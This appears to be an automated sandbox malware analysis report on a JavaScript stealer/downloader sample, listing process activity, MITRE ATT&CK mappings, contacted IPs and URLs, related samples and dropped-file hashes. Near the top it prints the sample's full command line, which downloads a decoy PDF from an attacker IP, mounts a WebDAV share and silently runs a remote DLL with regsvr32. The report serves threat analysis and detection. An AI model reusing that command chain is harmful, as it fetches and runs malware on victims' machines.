Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1147112155713680.js	8%	Virustotal		Browse
1147112155713680.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/6	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/453m	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/z	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
171.39.242.20.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/z	net.exe, 00000007.00000003.1480280020.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482478982.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2728252236.0000019A3448E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1484282358.0000019A34300000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/6	net.exe, 00000007.00000003.1480280020.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482478982.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1480280020.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482478982.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1480081386.000001C863A5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482355592.000001C863A08000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/r	net.exe, 00000007.00000003.1480280020.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482478982.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/453m	net.exe, 00000007.00000002.1482355592.000001C863A08000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588768
Start date and time:	2025-01-11 05:16:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1147112155713680.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 34.237.241.83, 52.149.20.212, 104.126.112.182, 20.242.39.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:17:36	API Interceptor	23x Sleep call for process: powershell.exe modified
23:17:40	API Interceptor	1x Sleep call for process: net.exe modified
23:17:40	API Interceptor	2x Sleep call for process: svchost.exe modified
23:17:48	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	RzEqKuZBuK.exe	Get hash	malicious	GuLoader	Browse	199.232.210.172
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2660438432237518549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709817689110827228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021905983778883
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAO:RJE+Lfki1GjHwU/+vVhWqpX
MD5:	952AE6F48F3E980983ACE25CB7A4E021
SHA1:	D29356F455C7FCC2C95E75E90E4F76FB9098112D
SHA-256:	AC2D3972BA90D60A4BB751DA77E8A7FB0C8A475DDC918592C3A50E5AA073EDC3
SHA-512:	F763F7989D7AFFA79CD724689AD633C684AC759370B708C4D6E190735D4A95199583BDB30B36B1A134B44E8CF81919DEBA8A654241BC91495231D80F410D55B7
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x28dcbd1c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.943301193676108
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	B84B993214B4637FB8459705AC229684
SHA1:	092C9B2627EC35A5C46C317744CF1DCE92B0E02E
SHA-256:	2ABF42CCE4F9306BC006E7FB7A8C3928862E7E26BAD991B3FAD3925607F85CA0
SHA-512:	60B11CA0DC40977F87E729F0BA2B121A9699D72E3E1C66B252ED24B2DBD8C83857B8265DE6DD7F6CF06B8A9C070D10247364C6988AC8F7BDB43AE648955789BD
Malicious:	false
Preview:	(..... ...............X\...;...{......................0.x...... ...{s.)....}W.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................S<k)....}u..................]..)....}u..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0810495352492931
Encrypted:	false
SSDEEP:	3:5ll/KYe76nXgdl/nqlFcl1ZUllllxYuRQn1allGBnX/l/Tj/k7/t:5ll/Kz7+ql/qlFclQ/lF/254
MD5:	050496735C8B7C50628E44245A60359B
SHA1:	2ECF3EC5E5A7E204389F0FBE169BC7E8D8126B22
SHA-256:	7E49A5885F71E99EB4D43C2CB863538B8C2D9D437A13660CEA8BCDE7414021AE
SHA-512:	2ECD00ED7A1205B98895CF1169391A824759F3404E536196C52546DB8BB4FC00768DED8D5DBECB618B62AE345D8052FBB4BB29A6746E3EC661F5506C4FB92167
Malicious:	false
Preview:	0..s.....................................;...{..)....}u.. ...{s.......... ...{s.. ...{s.P.... ...{s..................]..)....}u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.200412031769087
Encrypted:	false
SSDEEP:	6:iO4q5XSQL+q2PCHhJ2nKuAl9OmbnIFUtSq5P3AG1Zmwsq54UxQLVkwOCHhJ2nKui:7+QyvBHAahFUtig/oUxQR56HAaSJ
MD5:	5D695C55C168BB1E80043D2B2572F880
SHA1:	E2ED1920A2C2392C3DCC4836A72CB03AD1C1911F
SHA-256:	837712F6567116EBF82C0675A6C2DEEDB03A512D1C525004B4BA07CC2E77576C
SHA-512:	C2E3D4676300DBBC2D101872ADCD8E775D838CC2D74F37035C9E7A244015C1A7C617D0B6DFD215F7FC9D63C28F16805EB11591BF6D2B7E48CA865929CD3FB2E8
Malicious:	false
Preview:	2025/01/10-23:17:40.183 d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:17:40.185 d18 Recovering log #3.2025/01/10-23:17:40.203 d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.200412031769087
Encrypted:	false
SSDEEP:	6:iO4q5XSQL+q2PCHhJ2nKuAl9OmbnIFUtSq5P3AG1Zmwsq54UxQLVkwOCHhJ2nKui:7+QyvBHAahFUtig/oUxQR56HAaSJ
MD5:	5D695C55C168BB1E80043D2B2572F880
SHA1:	E2ED1920A2C2392C3DCC4836A72CB03AD1C1911F
SHA-256:	837712F6567116EBF82C0675A6C2DEEDB03A512D1C525004B4BA07CC2E77576C
SHA-512:	C2E3D4676300DBBC2D101872ADCD8E775D838CC2D74F37035C9E7A244015C1A7C617D0B6DFD215F7FC9D63C28F16805EB11591BF6D2B7E48CA865929CD3FB2E8
Malicious:	false
Preview:	2025/01/10-23:17:40.183 d18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:17:40.185 d18 Recovering log #3.2025/01/10-23:17:40.203 d18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.188617272227573
Encrypted:	false
SSDEEP:	6:iO4q54S4E9+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSq54SRGAWZmwsq54SRG3VkwOC1:7sa9+vBHAa8uFUtuiXW/oiiV56HAa8RJ
MD5:	17F2D8BFB0B9699A26888A89303525E7
SHA1:	EF2E6A83372DEFFC2C66345E7B1193DA1946B7EF
SHA-256:	9D4364258693A2AD65F7C13CBF3E10B011E111B143297D9E79EFB02A9A3C297F
SHA-512:	5FC89A5DB886D0AE590F67184834C5F75C3524A85A087D3C7EC87A0EDE480BC35A0ABF5895EF65502EFC818AF89587CB2B30FB6455506979BCD351033844BF2B
Malicious:	false
Preview:	2025/01/10-23:17:40.273 95c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:17:40.274 95c Recovering log #3.2025/01/10-23:17:40.274 95c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.188617272227573
Encrypted:	false
SSDEEP:	6:iO4q54S4E9+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSq54SRGAWZmwsq54SRG3VkwOC1:7sa9+vBHAa8uFUtuiXW/oiiV56HAa8RJ
MD5:	17F2D8BFB0B9699A26888A89303525E7
SHA1:	EF2E6A83372DEFFC2C66345E7B1193DA1946B7EF
SHA-256:	9D4364258693A2AD65F7C13CBF3E10B011E111B143297D9E79EFB02A9A3C297F
SHA-512:	5FC89A5DB886D0AE590F67184834C5F75C3524A85A087D3C7EC87A0EDE480BC35A0ABF5895EF65502EFC818AF89587CB2B30FB6455506979BCD351033844BF2B
Malicious:	false
Preview:	2025/01/10-23:17:40.273 95c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:17:40.274 95c Recovering log #3.2025/01/10-23:17:40.274 95c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\18966e7b-82b2-4ae4-ac2b-00d13e4692f5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.970283995895056
Encrypted:	false
SSDEEP:	12:YH/um3RA8squhsBdOg2HKcaq3QYiub6P7E4T3y:Y2sRdsNydMHl3QYhbS7nby
MD5:	864FA730A0718F0F51BA9EAF6E1B694E
SHA1:	51677B7C98D0D9710E8E8F84F26480D934D0BF9B
SHA-256:	E022FC2DF70CE9C9E7D7DCFA2218960397A2D19D2664667E27E46B7A8F7C8715
SHA-512:	F7EC91AD52E8B9477E74D263080EFBF50A448D998CB87BB6BF3A3D4F1D704BF10807E8226FFA99B53004DF5C72C8A9CCE3AA2467A02D68F9A21BAEE3479D23FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129071970266","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133296},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.970283995895056
Encrypted:	false
SSDEEP:	12:YH/um3RA8squhsBdOg2HKcaq3QYiub6P7E4T3y:Y2sRdsNydMHl3QYhbS7nby
MD5:	864FA730A0718F0F51BA9EAF6E1B694E
SHA1:	51677B7C98D0D9710E8E8F84F26480D934D0BF9B
SHA-256:	E022FC2DF70CE9C9E7D7DCFA2218960397A2D19D2664667E27E46B7A8F7C8715
SHA-512:	F7EC91AD52E8B9477E74D263080EFBF50A448D998CB87BB6BF3A3D4F1D704BF10807E8226FFA99B53004DF5C72C8A9CCE3AA2467A02D68F9A21BAEE3479D23FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129071970266","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133296},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2327764589296715
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bFLiUylB:S43C4mS7fFi0KFYDjr3LWO3V3aw+bFLI
MD5:	3B9E09246C00F0B4BDAF5762CA310B88
SHA1:	A6E8A16791DE3CD99BE11A137E2A327397FDB26E
SHA-256:	31925E7C59EE9D0F426EF95BE15DD6FF090CE0B852727264128308C6AA97AAA0
SHA-512:	DBFD8BFC64F5EBEDD9143FCB4ED67624F67177138B84B9DB4D41849C98FA20277623739A7C2764910B82025771C201F45043CA8FC74024A4C84769D61F45046C
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.198573985475929
Encrypted:	false
SSDEEP:	6:iO4q5+yFQ39+q2PCHhJ2nKuAl9OmbzNMxIFUtSq5+wFhE2WZmwsq5+SVkwOCHhJS:7vFQ39+vBHAa8jFUt3E2W/DV56HAa84J
MD5:	399B54E692763BA38DE5FC770D2399BD
SHA1:	CE327058153B6F837B94FE9230C9461E1B32AC71
SHA-256:	0FD0D67C0CAB85630E4765658A1F6A8ECEFED881BD94D1576FE4CB8A66F2448F
SHA-512:	B3EDB9AC95155E7261DC23DC7B3AF9BDEA23CF417C2E46DBED3FAEEA78532A533413C7B41A9A4BA31C823CB0035D3D7456ACB9CD3E769B992474FF098928A415
Malicious:	false
Preview:	2025/01/10-23:17:40.441 95c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:17:40.443 95c Recovering log #3.2025/01/10-23:17:40.444 95c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.198573985475929
Encrypted:	false
SSDEEP:	6:iO4q5+yFQ39+q2PCHhJ2nKuAl9OmbzNMxIFUtSq5+wFhE2WZmwsq5+SVkwOCHhJS:7vFQ39+vBHAa8jFUt3E2W/DV56HAa84J
MD5:	399B54E692763BA38DE5FC770D2399BD
SHA1:	CE327058153B6F837B94FE9230C9461E1B32AC71
SHA-256:	0FD0D67C0CAB85630E4765658A1F6A8ECEFED881BD94D1576FE4CB8A66F2448F
SHA-512:	B3EDB9AC95155E7261DC23DC7B3AF9BDEA23CF417C2E46DBED3FAEEA78532A533413C7B41A9A4BA31C823CB0035D3D7456ACB9CD3E769B992474FF098928A415
Malicious:	false
Preview:	2025/01/10-23:17:40.441 95c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:17:40.443 95c Recovering log #3.2025/01/10-23:17:40.444 95c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
